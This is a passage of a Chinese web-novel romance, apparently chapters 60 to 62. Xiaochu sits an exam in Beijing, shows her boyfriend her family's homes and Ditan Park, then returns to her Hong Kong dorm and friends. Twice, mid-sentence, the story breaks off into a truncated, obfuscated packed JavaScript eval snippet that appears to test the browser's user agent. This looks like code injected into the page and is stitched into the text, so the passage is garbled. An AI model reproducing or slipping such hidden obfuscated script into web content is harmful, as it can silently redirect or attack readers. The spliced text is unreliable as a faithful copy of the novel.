姥姥笑着看了看两人,也没说别的,只说,“快收拾收拾吃饭了,你爸的司机都在楼下侯着了。” “啊?”小初愕然,“他几点来的啊?” “不知道,一大早电话就进来了。” 小初抿抿唇。 “姥爷呢?” “姥爷遛弯去了,你别管,你和小余先吃,吃完好出门。” “哦。” 小初考试的考点离家里只有六七公里,开车过去也就十分钟的事,也不知道他爸着的什么急。 不过她还是从善如流洗了漱换了衣服,迅速吃了个早饭就带着余萧弋出了门。 一出门,两人就同时被室外的冷空气穿透了。今年的天气怎么这么反常,还没十一月就冷成这样了! “戴上口罩吧。”小初递了个黑色口罩给余萧弋,“我要考四个小时呢,你找个暖和地方待着,别冻着。” “放心!”余萧弋将口罩挂绳勾在耳朵上,语气有些无奈,“我又不是什么濒临灭绝的热带植物,不至于换个环境就活不下去的。” 戴上口罩的他太像他们相遇时的样子,小初一阵恍惚,连本来要说什么都忘了。 “再说,我早晨已经跟姥爷说好了,让他带我逛逛你们学校,你就安心考试好了。”他眨眼。 “嘿!”小初瞪大眼睛,“你还真是主动出击型选手啊,这么快就把姥姥姥爷都划到你的阵营了?” 余萧弋得意地挑了挑眉,没说话。 两人手牵手来到巷子里,司机早已在那里等。 看见两人亲密的样子,他也只当视而不见,只恭恭敬敬叫了声,“小姐。”职业素养没话说。 因为是周末,路况照工作日要顺畅很多,一整路,余萧弋都没说话,一直在专注看窗外的街景。 小初勾唇,从清华到民大,刚好可以让他好好欣赏下海淀的超绝松弛感,凛冬将至,满大街又变成了黑色冲锋衣的世界,在这里没人在乎你是谁,没人管你吃什么穿什么,有着怎样的个性又过着怎样的人生。 这里允许一切发生,包容度极强。 港岛新闻适时跳出来,小初点进去,果然如愿在娱乐版看见了她和余萧弋手牵手出现在机场的照片。 她笑笑,收起手机。 路口很多穿红白校服的学生正在过斑马线,看着特青春。 “Theo余,快看。”小初指向窗外,“那就是我的高中。” 余萧弋转眸过去,车子启动,他们刚好与刚刚那群学生擦肩。 不知怎么,他总感觉在某一瞬间,他看到了穿同样校服的方太初。 他来到她的城市,正在走她走过的街。 一切都好奇妙。 61.第 61 章 从考场出来,小初第一眼就看见了焦急等在人群中的余萧弋。 天气太冷,周围大多数人都穿着冲锋衣或者羽绒服,只有他,穿搭精致地站在一棵树叶凋零的柿子树下,怀里还抱着某品牌面包店印着巨醒目Logo的纸袋,远远看过去,和他周围的环境简直不在一个图层。 小初很怀疑,这是面包店的阴谋,设计这种不带拎手的纸袋,就是要每一位进店的客人免费做他们的广告宣传位。 如果是这样,她是不是应该拉着他去找品牌方谈谈广告费?毕竟他往这一站,整条街都像是被瞬移到了巴黎。 余萧弋也很快看见了她,并迅速跑上前来,“怎么样?考四个小时一定累坏了吧?要不要先吃点东西?我买了三文治。” “太需要了。”小初迫不及待从纸袋里拿出吃的,又拉着他往远离人群的地方走了几步,就那么就着风咬了一大口下去。 “慢点吃,都是你的。”余萧弋又递过一杯热饮,“还有这个,热朱古力。” “谢谢。”小初接过来,先抱在手心暖了会儿手,然后才想起什么,“你怎么不问问我考得怎么样?” “之前又不是没看见你认真备考,放心,你肯定过的。再说,考都考完了,再想也无益,静等结果好了。” 小初挑挑眉,突然很想知道,究竟什么事是可以让他余大少爷情绪失控的,他总这么从容淡定,是从小特别做过这方面的训练吗? 但他也没说错,最近这半年,她的确花费了巨大了精力来准备考试,可以说,市面上的题,就没有她没见过没做过的,各位大神老师的专项课,她也全部都跟着过了一遍。 至于今天的主观题考试,逻辑表达和法语言输出更完全是她的舒适区,所以考试还剩四十分钟,她就已经完成了全部题目的作答,后面的时间都在检查错别字和做一些小的修正。 她承认自己的确在某些方面有着异于常人的天赋,但她也从没有因此轻视过一场考试,每次必定全力以赴。 至于结果,她倒是都OK。 这一点,和余萧弋的观念还挺重合的。 又或许,是他和她都很清楚他们的人生容错率要比普通人高很多?就像,她毕业后无论如何也不可能持证去做个月薪几千块的实习律师,所以考试的结果,重要,但也没那么重要。 她不想在别人的谋生手段上表现出傲慢的姿态,但她的出身已经注定她没办法和大多数人感同身受,所以,幸好她要面对的人是余萧弋,否则,她恐怕无可避免要小心翼翼地说话,尽量照顾到对方的感受。 她猜着,当初方协文第一次来北京的时候,应该挺局促不安的。 相比之下,余萧弋就没有那么多脆弱敏感不容侵犯的神经,否则,第一次上门就被对方家长点名要求表演才艺,估计他早掀桌走人了。 两人肩并肩往外走,方协文的司机已经在路边等。 余萧弋突然问小初:“我能请教一下吗?那个柿子树叶子都掉光了,为什么柿子还留在树上呢?这不浪费吗?” “啊?”小初顺着他的手指抬头看了看,一时也卡了壳,她之前都是来去匆匆,从没像他这样如此认真地观察过生活。 “那是留给过冬的鸟吃的。”司机突然接话过去。 小初瞪大眼睛:“刘叔我年纪小,您可别骗我。” 司机哈哈大笑:“我骗你干嘛。” 余萧弋感慨,“北京在生态保护方面的理念还是很超前的。” 司机点头:“那确实,前些年网上不是总传北京雾霾吗?实际上自从有了那个蓝天保卫战计划,北京的空气质量已经好多了。前两年吧,我也不记得是哪年的数据,一年有290天都是蓝天,现在只会更高,你就看今天这天儿,多清澈,就算冷,也冷得磊落。” 三人一起抬起头来。 透过国槐交错纵横的枝丫,澄净的蓝天仿佛刚出窑的瓷器,喜人极了。 余萧弋马上掏出手机,拍了两张照片。 司机这才问,“小姐,我们接下来去哪?” 小初睨他:“我爸该不是让您一整天都盯着我们吧?” 司机笑:“不是盯着,是陪同。” 小初抿抿唇,“那就先回清华园,然后再麻烦您送我回趟朝阳,再然后我们还想去趟……”她顿住,问余萧弋,“你想去哪?今天大概只能浅浅逛一个地方了,要么就去地坛?” 余萧弋点头:“都可以,反正以后还有很多机会。” 很多。 小初心中一动,眼睫不自觉地颤了颤。 不知道他昨天说的“我们不会分手”是基于什么得出的结论,连她都不敢保证,他真去了美国,面对几年的异地生活,她会不会变心。 前一段时间他只是跟史密斯出去了一周,她就已经感觉有一个世纪那么长了。 几年……他们又不是圣人,谁能保证爱情能永远不褪色? 她爸说得一点错没有,她还真是给自己的人生找了个大麻烦。 她应该更克制一点的。 但,能让她克制住感情的人,还值得她爱吗? 上了车,小初才想起来问他:“你还真让姥爷陪你去逛清华园了?” 余萧弋挑了挑眉,“对啊,他不仅带我逛了园子,还带我吃了食堂呢。” 小初佩服地看了他一眼,“没顺便跟你痛说一番革命家史吗?” 余萧弋笑:“说了一点,姥爷挺健谈的,思路清晰记性也不错,在他们这个年纪应该算挺难得了。” 小初微不可察地叹息一声,“但你不觉得让一个思路清晰的人停下来把全部时间都用来对抗退化的身体机能,是一件很残忍的事吗?” 余萧弋愣住,他倒是从来没有在这个层面上考虑过这个问题。 她总是会在某些时刻,给他一种不符合她年龄的成熟感,甚至有种浑然天成的悲悯。 就比如她昨晚说的,将来要多赚钱支持祖国的航天事业,这种话,在他的圈子中,他从未听任何人提及过,尤其在他们这种对世界和社会的认知还很局限的年龄。 每次聚会,大家聊得最多的还是酒,珠宝,股票,游艇会,时装周,艺术节,旅行见闻,电影和音乐。 一切浮于表面的优雅谈资不过是为套取内部消息和资源互换做铺垫,就算真的给知名高校和科研机构捐款,就像余珺彦之前的提议那样,本质上也是某种沽名钓誉,以及更深层的利益输送。 他才不信他们真关心什么医疗和环保事业的发展,果真如此,把持在二叔手里的私人基金会,会捅出那么大的篓子来? 本质上,不还是钱吗? 可他明明已经有了足够的钱,却还想要更多。 简直贪得无厌。 想到这,余萧弋的眉心微蹙,怎么也没有赶走萦绕在心头的那一丝阴霾。 三条人命。 除此之外还不知有多少因此而身体机能受损的无辜的人。 “你怎么突然这么严肃?当我瞎说的好了。”小初在他面前晃了晃手指。 “没有,你说得很对,以后我们有时间要多陪陪他们,我感觉姥爷平时应该也挺寂寞的,今天跟我聊了很多。”余萧弋顺势抓住小初的手,看向窗外,不知道是对她说还是对自己说:“方太初,我喜欢北京,喜欢你的家人。” 小初说:“他们也喜欢你,不然你以为姥爷跟谁话都那么多?” 车子稳稳停在巷子口的银杏树下。 金黄色叶子随着风一直在纷纷扬扬,将秋的意蕴渲染到了极致。 余萧弋站在树下看了好一会儿。 直至小初笑出声来,“一棵会落叶的树而已,有这么好看?” “人对自己不熟悉的事物总是更容易产生浪漫的联想,这样没有错吧?” “对,比如我,一株你没见过的北方植物。”她俯身,捧起一捧树叶扬向他,“所以,你是不是快对我祛魅了?” 小初扬完就跑,可还是被他从背后追了上来,紧紧搂在怀中:“我觉得这话应该反着听,是你快要对我祛魅了吧?” “谁说的,我这么专情又长情。”小初才不认。 余萧弋的声音有些脆弱:“要不是我见识过你是怎么突然就不爱你那个前任了,我可能就信了。方太初,你信我,在感情抉择上,你绝对比你想象中还要理智。等哪天你不想要我了,我猜你大概哭都不会哭。” 两人并肩走进楼道。 小初仍漫不经心的,“好,那我一定哭给你看,让你小看我。” “我的话重点在这个部分吗?” 他在她腰间轻掐了一把。 小初笑,快他一步敲开了家里的门。 门一开,姥姥姥爷就迎了上来,“外面冷吧?快洗手吃饭,今天有不一样的菜谱,我们俩在网上查了教程,也学人家煲了一款靓汤,小余来尝尝正不正宗?” “是不是啊!”小初睨了跟在她身后伪装乖巧老实的余萧弋,酸道:“还为他查了教程?也不怕手机上的字太小累到眼睛?我要吃醋死了!” 姥姥听了上来就捏了捏小初的脸,“也有你爱吃的,好不啦。” 一家人其乐融融地吃了顿家常饭,姥姥姥爷就回房间午睡去了。 小初收拾了一堆东西,包括昨天她说的那件香槟色的礼服,准备拿到朝阳那边的房子去,接下来她从香港回来肯定大多数时间还是要住在这边的,又不知要多多少东西出来,房间太小,她得先清理一部分。 还有港港。 港港她肯定要抱回来的,他之前说过的,即便分手,抚养权也归她。 余萧弋过来问要不要他帮忙。 小初收拾东西之前其实早在脑子里理过一遍了,他来帮忙反而会打乱她的节奏,但她又不想打击他的积极性,只好说,“你去阳台帮我把抹布拿过来好了,应该就在那个挂钩上夹着。” 余萧弋听话地退出去了。 没过一分钟,又空手回来了。 小初疑惑,“怎么,你该不会是不知道抹布是什么东西吧?” “那倒不是……”余萧弋挠挠头,“主要我没找到那个晾杆的遥控器。” “你说这个呀。”小初笑出声,“来,跟我来,我教你。” 到了阳台,她轻咳一声,才喊道:“小初,小初,晾杆下降。” 下一秒,晾杆竟然真的自己降下来了。 “声控的?”余萧弋思考了一秒。 “对呀,这又不是什么高科技。” “我知道。” ——他们家又不是没有。 “我好奇的是,它的口令是……你的名字?” “对呀。”小初眨眨眼,“亦方的智能家居产品,代码还不是随便我改。这一套算是给姥姥姥爷的专属定制吧,主要是要让他们感觉我一直都陪在他们身边。” “还有这个。”她又拉他来到客厅,“小初小初,开始清洁。” 洗地机开始工作。 姥姥姥爷听见声音在房间里喊:“早晨卫生已经做过一遍啦,怎么又清洁?” “哦,知道啦!”小初和余萧弋对视一笑,赶紧让机器人停止了噪音。 余萧弋这下倒有点好奇了,“还有什么,都展示出来让我看看。摄像头该不会也是你的名字吧?” 小初摇头,“那倒没有,不过开关灯,开关空调啊,那个智能的我还是可以帮忙的。哦,怎么能缺了这个。”她对着桌面上做成小兔子形状的智能音箱喊了句,“小初小初。” 里面立刻传来她的声音,“在呢。” “请汇报今天的天气。” “好的,北京市今天最高温度是摄氏零上十三度,最低温度是零下三度,西南风三级,姥姥姥爷出门一定要多穿衣服哦,千万别把自己冻感冒了,不然小初会心疼的,我爱你们呦。” 余萧弋彻底呆住了。 这就是顶级理科生独属的温情和浪漫吗? “怎么样,好玩不?”小初笑。 “还是你的语音包?” “这个也很简单啦。” 余萧弋抱起那只小兔子,“这个我要。” 小初勒令他:“你给我放下,你怎么看见什么都想要。” 余萧弋不撒手:“我不管,我就要。” 小初快无奈了,“哥,我这每个指令后面都有姥姥姥爷这四个字的,你听我的,它真不适合你。” 余萧弋想了想,“那你给我改一个适合我的,比如后面加上,哥哥或者老公什么的。” 小初立刻瞪他一眼:“你小点声!”然后到底有所缓和,“我考虑考虑吧。” “那什么时候能给我?明天行吗?” 小初咬牙切齿,“果然所有的甲方都该死。” 两人收拾好两大包东西,直奔东四环,临到家门,余萧弋倒有点紧张了,“你说,会不会我们一推开门,你爸就在客厅坐着呢。” 小初好笑地扯了扯他卫衣领口的带子,绕在指尖把玩,“放松,方总现在正陪他老婆吃饭逛街呢,没时间分给你。” “那就好。”余萧弋做了个深呼吸。 他们进门的时候,整栋房子都安安静静,管家和保姆们大概提前得到了消息,都悄无声息地躲回了房间。 方家的宅院是偏中式的风格设计,在保留了一定的传统元素和色调的基础上进行了比较大胆的、更符合现代审美的改良,给人感觉非常温润舒适,又极具纹理和质感。 “你们家好漂亮。”余萧弋感叹。 “真的假的?小余总也算是见多识广的人了,还能发出这样的感慨?”小初指挥他,“袋子放门口就行,回头阿姨们会帮忙整理的。” “当然真的。”余萧弋把目光落在玄关处的一副巨大的壁画上,“就感觉屋子的主人很有审美,而不是一味地将值钱的东西都摆出来的那种堆砌感,你懂吧?” 小初听了他的话也环视了房子一圈,神情骄傲,“我妈设计的,你也知道,她是艺术家来的嘛。哦,这房子里还有她一间画室呢,待会带你参观一下。” 余萧弋感慨,“你爸妈一定非常契合。” 听到这句话的小初瞳孔收缩了一下,没说话。 两人换了鞋,沿着旋转楼梯向上走,小初决定先带他看一下黄亦玫的画室。 一推门,余萧弋就被里面的艺术氛围深深感动了,竟一步都不肯往里走了,生怕自己怕坏了整个空间的和谐感。 其实要说这里是个画室,还不如说是一间迷你的艺术画廊,房间里所有的家具,摆设,花卉植被都是那么恰到好处,由竹子制成的小沙发上是厚厚的白色纯棉沙发垫,扶手上还搭着条波西米亚风格的针织盖毯,阳光穿过白色纱帘打在竹木茶几上的颜料盘上。 花架上是一副未完成的美人肖像,美人低首垂眉,头上插着上好了颜色的蓝紫色鸢尾花,寥寥数笔,已经将她欲语还休的温柔和悲悯勾勒成型,余萧弋联想到了观音。 “你妈妈现在的内心一定是非常平静且幸福的。” 小初诧异地看他一眼,“你怎么知道。” “你看她的作品。”他指了指墙上那些已完成的画作,“那上面都有她自由的灵魂。” “真看你不出啊,余萧弋。”小初挑了挑眉,“对艺术这么敏感呢?” 他不好意思地笑了笑,“略懂。” “走吧,再带你参观一下我家的书房。”小初将画室的门掩住,带他绕过长长的走廊。 她家的书房也很大,里面的书品类很丰富,她爸妈有个习惯,无论去哪,都喜欢逛逛当地的书店,带些新鲜的养料回来,多年过去,一不小心,这里也成了一个包罗万象的小图书馆。 “随便看。” 余萧弋点点头,便真的顺着书架摆放的方向浏览了起来,小初跟在他身后,与他相隔一步的距离。 他在看书,她在看她。 她实在没想到,有天会给这里带来这么一抹新鲜又陌生的气息。 “好像艺术类和心理学类的书籍最多是吧?” “差不多,因为这两个都是我妈妈的专业。”小初的目光转向另一个书架,“我的书也多啊,数学类的,法律类的,漫画,推理小说,各种杂志什么的,不过,我妈妈这些心理学类的书我也看过大半。” 小初不知道为什么突然产生了倾诉欲,“你猜猜,我大多都看什么内容。” 余萧弋摇头,“唔知,因为我个人感觉心理学还是比较形而上学的,没有太多逻辑的部分,按说应该不会太符合你的口味。” 小初说:“那是你不了解我。” 顿了顿,她才又说:“我之前跟你说过,我爸妈之前分开过十年吧。” 余萧弋默然。 小初耸耸肩:“他们俩的感情线就是我过去的二十年最没理清的逻辑,所以,逻辑不是在什么时候都管用的。” 余萧弋走近她,轻轻把她拥进怀里,却又不知道该说句什么。 小初反而安慰他,“我没什么事,就算有,也早好了。他们都挺爱我的,即使在他们分开的那十年,给我的,无论物质还是精神上,都是他们能给的最好的。我看书上说,一个人的人格往往是为了逃避一段痛苦而发展出来的,所谓的“自我”其实就是为了不去感知到那个痛苦而建立的外壳。但我仔细回想,他们好像也从没在我的情感生活里失联过,当我难过的时候,高兴的时候,她们都给了我非常耐心的倾听和安慰,所以,你看。” 她笑,“我是个连‘童年创伤’四个字都没资格说出口的人,他们只是离婚了,并没有因此不爱我,我应该庆幸是不是?太执着在某种程度上就矫情了,是不是?” 余萧弋说:“不是的。” 他知道,她并没有期待他一个答案。 她自己心里早已经有答案。 小初挣开她的怀抱,她果然像他说的,没有哭,她俯下身,打开书柜下面的抽屉,从里面抱出几本旧相册来,朝他眨眨眼,“要不要一块看看,他们俩的罗曼史?” 余萧弋抿抿唇,“好啊。” 两人随意坐在厚厚的羊毛地毯上,从编号为“1”的那本翻起。 这本里面大多都是方协文和黄亦玫在复旦读书时候的照片,两人一块坐在相辉堂前的草地上弯着眼睛笑,小初知道那个地方,因为他们在朋友圈宣布复合的那张照片背景,也是这里。 照片里的两人都很年轻,脸上的笑容很纯净,但还是不难看出当初她妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小初不可置信地拿过那张照片,端详了半晌,才笑着问了句:“你怎么越长越难看了。” “……”余萧弋咬咬牙,很快又说:“本少爷今天心情好,就不计较你的冒犯了。” 还挺会自我催眠。 “我倒是还和小时候一样美貌,对吧?” 余萧弋点头,激动得眼泪都下来了,“你看,还是你先楼的我,你那时候就喜欢我。” “……”小初说:“可我还是没想起来这张照片是在哪拍的,你有印象吗?” “这不重要。”余萧弋照着那张照片亲了亲,“你这个时候认识叶子瑜了吗?” 小初一时没跟上他的脑回路,下意识答道:“当然没有,他是我初中同学。” “所以,我才是你初恋。” “……”小初拿起一本相册就照着他拍了下去,“不然你也是我初恋!我跟叶子瑜什么事都没有!连手都没牵过!” “哦,没牵过就没牵过,你这么气急败坏干什么?”余萧弋也不躲,就那么笑盈盈任她打。 谁气急败坏了! 等她打完了,他才将她搂进怀中,下巴抵在她颈窝里,声音有些闷,小初不确定他是不是在哭。 “你看,我们俩就是天定的缘分。” 小初看了看手表:“所以余同学,你今天还去地坛吗?再不去太阳要落山了,晚上舅舅还要请我们吃饭呢。” “好啊,走,现在就去。”余萧弋忽地一下起了身。 小初愕然。 “后面的照片不看了吗?” “留着以后慢慢看好了。” “哦。” 小初眯了眯眸子,总觉的这已经是她今天第二次听见这句话了。 两人总算在日落前赶到了地坛公园。 因着天气冷,公园里的人倒不多。 小初因此很顺利地将余萧弋按坐在了地坛最浪漫的“那片海”前面的墨绿色长椅上。 余萧弋一脸懵,指了指前面的一堵灰色的水泥墙,“什么意思,要我面壁思过吗?” “你别管,就乖乖坐在这啊,等会给你惊喜。”小初说完就大步跑着绕过了长椅背面的一片茂密树林,并很顺利找到了最佳拍摄机位,给他留下了一张氛围感十足的“看海”照片。 这张照片哪都好,就是看得人莫名觉得孤独。 后来余萧弋自己看了也说:“好神奇,要不是亲眼看见了那面墙,我会真的以为这是一片波光粼粼的海。只不过,刚刚应该我们两个人都坐在那,找个路人帮我们拍张合影的,我一个人坐在那,总感觉像是被你抛弃了。” 小初说:“隔着这么远,你也不怕手机被路人卷跑了。” 余萧弋笑:“管他呢,赌一把。” 小初忽地想起了他那句——我all in,赌你半点心。 可现在,她似乎,也已经赌瘾大发,早不知天地为何物了。 两人牵着手在公园里漫步,费了点力气,总算找到了余华和铁生认养的那棵树,并拍照留念。 走到这两人真的是已经累到一步都不想走了,索性找了个椅子坐了下来。 余萧弋拧开一瓶水递给小初,“刘叔能找到公园这个门吧?现在想想,还是你爸想得周到,要是我们两个自己开车,还得原路返回。” 小初喝了口水,才想起问他:“《我与地坛》看完了吗?” “看了两遍了。” “是吗?” 余萧弋认真地点点头,“你不觉得,这本书里面的关于‘死亡’的思考写得特别好吗?或许某天,我们都会被年少时扣动的扳机击中眉心的。” 小初抿抿唇,没说话。 半晌,余萧弋才又说:“所以,我是认真的。” “什么意思?” “我不想在三十岁或者更老的时候,为年少无知时候做错的决定悔恨终生,我想一开始就选对,一直选对。” 小初摇头:“没有人可以一直选对的。” “可以的。” 小初笑:“我爸妈分开那些年,我妈还曾爱过另一个男人,很爱。除了那个男人,她还有很多追求者,直至现在,她的初恋还因为错过她后悔了一辈子,一直没结婚。” 余萧弋思索了一下:“也能理解。” “所以,如果那个她深爱的男人是对的选择,那我爸算什么?退而求其次的将就吗?” “所以,你因此怨过你妈妈?” “没有,我妈是我在这个世界上最好的朋友,我比谁都希望她能得到幸福,即使那个人不是我爸。”小初将水瓶递给他,“你喝吗?” 余萧弋就着她的瓶口抿了一口水,然后才试探道,“那你爸呢?” “他就是世界上另外一个我,所以,我对他发脾气,其实是在对我自己发脾气。我也不是怨他,我是在怨……我也不知道该怨谁,搞砸了这一切。” 即便是最好的爱情,也是会在不知不觉中腐烂的是吗? 余萧弋试着用她的思维思考了一会儿,问道:“那你妈为什么没跟她很爱的那个男人在一起?” “他死了。” “啊?”余萧弋愣住。 “他们认识的时候,那男的身体就不太好,可能他本来以为没事的吧,结果他运气不太好,没多久,就病入膏肓了。” “你妈难过死了吧?” 小初叹息了一声,“她很痛苦,但也很坚强。可能美女从小到大得到的爱和关注太多了,缺了某个人,也影响不到根本吧。还有,她不是一个喜欢把自己的痛苦放大强加给别人的人,所以我并不是很懂,她在内心究竟是怎么自我和解的。跟你说,我爸妈之间,离不开对方的那个人也是我爸。若将来,我妈走到我爸前面,我估计他也活不了了。” 余萧弋问:“所以,你像他们谁?方小姐你也是美女。你从小到大得到的爱和关注也不少吧?” 小初站起身:“走吧,刘叔到了。别说这么深奥的问题。”她笑得漫不经心,“我谁也不像,抱歉我是个理智大于感性的人,实在搞不懂这些人爱来爱去几十年到底在爱什么。” 余萧弋却听懂了,“所以等我们异地之后,你会忘了我?” “我会尽量不让自己想起你,但不代表我会忘记你。” “你会跟别人结婚吗?”他红着眼睛看着她。 小初不理解地看了他一眼,“你干嘛?我又没不许你和别人结婚。” 余萧弋忽地扣住她的手腕,整理了一下凌乱的情绪,“你的人生就没有什么值得你执着的东西吗?” “有啊,我爸妈,我,我对这个世界的价值。”她顿了顿,反问他:“你呢?” “我?”余萧弋的声音无比清晰,“方太初,余萧弋,余萧弋的自我价值。” 小初定住。 在北京的最后一晚,黄振华请吃了老北京涮肉。 小初兴趣寥寥,余萧弋吃得倒挺开心,也不知道他是真喜欢还是假喜欢。 或许就像当初那杯豆汁儿一样,只要是她给的,他都甘之如饴。 62.第 62 章 一下飞机,小初就收到了史密斯发来的Push进度的邮件,压力大到她回学校就将自己丢进了自习室,直忙到天色大黑,才有空去找终于从台北回来的林佳宜。 余萧弋被家里的电话召唤了回去,临别之前就说好了这两天大概都没时间陪她。小初哪还顾得上他,话都没好好听他说完就解开了安全带。 后果就是被他咬着牙念了好几句。 “方太初你就这么迫不及待离开我吗?” “好,开始对我没耐心了是吧?亏得小时候把我抱得那么紧。” “同你讲好先,冇我陪住,你唔准去见梁培风啊!” 小初目瞪口呆半晌,实在觉得他不可理喻,下车时不过关车门的声音大了点,就收到他如下信息: 【修车费回头找你报销。】 【或者,改天陪我来个情景复刻做补偿也可以。】 那一刻她忽觉得他不仅不可理喻,甚至还有点想讹人,她即刻收起手机,权当自己什么都没看见,直至他认识到自己错了为止。 许久不回宿舍,连爬坡都变成了一项令人倍感亲切的运动。只是一下子从零下三度到零上二十三度,她的身体似乎还没适应环境的突变,到宿舍门口的时候,她早已满身汗。 她让曹旸在楼下等她。 宿舍楼照例很闹,她估计又是在举办什么舍堂活动,上行电梯始终显示被占用,好容易到了一楼,又不知从哪里冒出一群人,毫无秩序地抢在她前面冲进去,直接就要关电梯门。 小初想也没想就伸手拦住,问了句,“什么情况?” 对方一听她讲普通话,态度即刻有些不耐烦,用半生不熟的粤语夹杂着口音很有特色的英语回她:“情况就是今日的电梯被Local生征用了,麻烦,走左手边消防通道。” 小初眯了眯眸子,没搭话,也没动。 脑子里有那么一瞬间,想的是要不要打电话叫曹旸进来。 正在她犹疑之际,里面大概是有人认出了她,讶异地咦了一声之后,突然改了口风,“好啦,你要进就进来好了。” 小初迈步进去。 然后就感受到了一整个电梯明晃晃的打量和凝视,他们看也就看算了,一边看还一边明目张胆用粤语judge她。 直到这一刻,她才意识到她爸是对的,这宿舍,她是真的不能住了。 到了楼上,林佳宜已经在公共厨房煮东西给两人吃。从厨房到她宿舍的楼道挤满了人,男女都有,正大声地哄笑和喊叫着。 小初不明所以,问了林佳宜才知道,原来他们在举办招庄活动,简单来说就是学生会招干事,据说今天朱慧雯要竞选部长。 “是吗!”小初从锅里夹了个鱼丸喂给自己,“她还真是一点没变,就喜欢凑这些热闹。” “她也是身在其中,不得已而为之。” 小初被鱼丸烫到,还没尝到什么滋味就又悉数吐了出来。 林佳宜嗔道:“急什么?都说了带了你的那一份!” 小初摆手,话都说不利索了,“快快,佳宜姐,我带了冰茶,快拿给我喝!” 林佳宜赶紧照做。 小初狂灌了小半瓶才终于缓过来,忍不住委屈地控诉道,“你不知道,我那个导师简直是个变态,天天Push我,我中午就吃了个三明治,现在快饿死了。” 林佳宜把面端到餐桌上,招呼她,“那赶紧过来吃吧,只是小心,别再被烫到。” 小初弯唇说了句,“遵命。” 林佳宜没好气点了点她的头。 她们今天也算运气好,那帮Local生都在忙着看热闹,厨房倒成了闹中取静的一方小空间。 小初这才想起来问,“阿姨身体怎么样,好多了吗?” 林佳宜手中的筷子顿了顿,抬起头,神色还算如常,“谢你关心,已经好多了。” 小初嗐了一声,“跟我客气什么,我们是好朋友嘛。” 林佳宜红了眼睛,勾了勾唇,“吃饭时不宜煽情。” “所以,阿姨到底什么病?” “没什么病。”林佳宜的声音低下去,“只是受了点惊吓。” 楼道里突然传来一声震天的喧哗,连带着整个楼都震颤了一下。 小初没听到林佳宜的后半句话,反而听见那群人一边鼓掌一边在喊,“Wendy Zhu,Wendy Zhu!” 两人对视了一下,立刻明白发生了什么事,赶紧放下筷子跑了出去。 好容易挤到人群之前,刚好看见朱慧雯穿着件款式很特别的宝蓝色比基尼,脖子上系着薄纱制成的披风,脚上踩着至少十厘米的高跟鞋,正在热情洋溢地展示她的形体。 音响里的音乐节奏感很强,而她大方而得体,每一步都踩在节拍上。 走廊里的劣质红色地毯此刻似乎都失去了颜色,小初尽管不太理解她这种行为,但这种为了想得到的东西能把自己置于尘埃里的拼搏精神确实感染力极强,她一时竟有点泪目。 她和林佳宜比谁鼓掌得都大声。 表演结束,朱慧雯笑着摆了个优雅的姿势,任大家把投票的胶纸贴在披风上,有男生趁机想伸咸猪手,她的表情也始终如一,亲和力十足。 小初却看不下去,一把拉住那个男生,说了句,“拜托,多点绅士风度。” 普通话在这个场景中实在突兀,空气骤然安静下来,Wendy这才侧眸过来,一见她,脸就红成了地毯的颜色,但神情还是感激的。 小初在她眼中看见了亮亮的东西。 走廊里的其他人也认出了她。不知是什么原因,或许还真是借了他余萧弋这个姓氏的势,总之,接下来大家很默契,都把胶纸都轻轻贴在了她披风的底部,像给她镶了条很特别的花边。 小初给朱慧雯竖了个大拇指,就和林佳宜回厨房继续吃面去了。等她们吃完,走廊里的声音也渐渐低了下来。 看着是活动接近尾声了。 两人收拾完厨房,就穿过人群回了宿舍。 大概又过了一个小时,换好衣服的朱慧雯也推门走了进来,一进门,就朝她们不好意思地吐了吐舌头,用滞涩的普通话说道,“我发现每次我哗众取宠出丑的样子,都会精准被你们看见。” 小初笑,“没事,我们都习惯了。” 朱慧雯也不生气,只说,“走啊,请你们出去喝一杯。” 小初挑眉,“怎样,学生会部长非你莫属了?” 朱慧雯说:“最后结果还没出,不过应该不会错。”又压低声音,“你们可别笑我,我积极一点,就能拓展一点资源,丰富一下简历,下一年的Living费也能低一点。” 小初立刻摆手,“你说的这是什么话,我的港姐大人,说不定你将来还会竞选特首呢,英雄不问出处,你说这些是把我和佳宜姐看低了。” 林佳宜也点头。 Wendy又有点想哭,不过神情已经没有了刚刚的尴尬,反而调侃小初,“特首不倒不敢想,嫁个首富倒还有可能。不过无论我怎么努力肯定也超不过方太初你,千亿豪门继承人,这辈子都不用被资本和男权剥削了。” 小初也没避讳,“那没办法,你知道的,投胎是个技术活,这个技术不是谁都有。” 朱慧雯笑:“我打死你。” “那你小心点,我贴身保镖就在楼下。” 朱慧雯一听眼睛就亮了,问她:“帅吗?” “那必须帅啊!” “走喝酒去,我请!” 林佳宜突然开口,吓了小初和朱慧雯一跳,俩人都没太明白,怎么请客的人就变成了她。 她解释:“庆祝我妈妈痊愈,庆祝Wendy当选部长,庆祝方太初上辈子就掌握了一流的投胎技术。” 三人笑成一团,然后各自换了她们自认为性感的衣服,化了好看的妆下了楼。 林佳宜说,反正有方太初的保镖在,大家今天也不会有危险,索性怎么开心怎么玩好了,顿了顿又问,“他一个保护我们三个没问题吧?” 小初一挥手,“你放心好了,人家原来是全国武术冠军。” 一下楼,对上曹旸那双清冷淡漠的眼睛,朱慧雯的脸就垮了下来,跟小初咬牙:“女的?” 小初大笑,“怎么呢?不帅吗?” 林佳宜仔细观察了一下曹旸利落的身形,淡淡道,“比这街上至少99.8%的男的都帅。” “严谨。”小初扯了扯自己短款夹克和超短裙,笑嘻嘻贴近曹旸,撒娇道:“曹旸姐,这都我闺蜜,今晚没男人,我们就小酌几杯,你就别告诉我爸了,好吗?” 曹旸看了她一眼,没吭声。 几人驱车赶往了一家据说音乐很潮流视野很无敌的Skybar,由于她们到的时间相对于午夜后才出没的真正玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 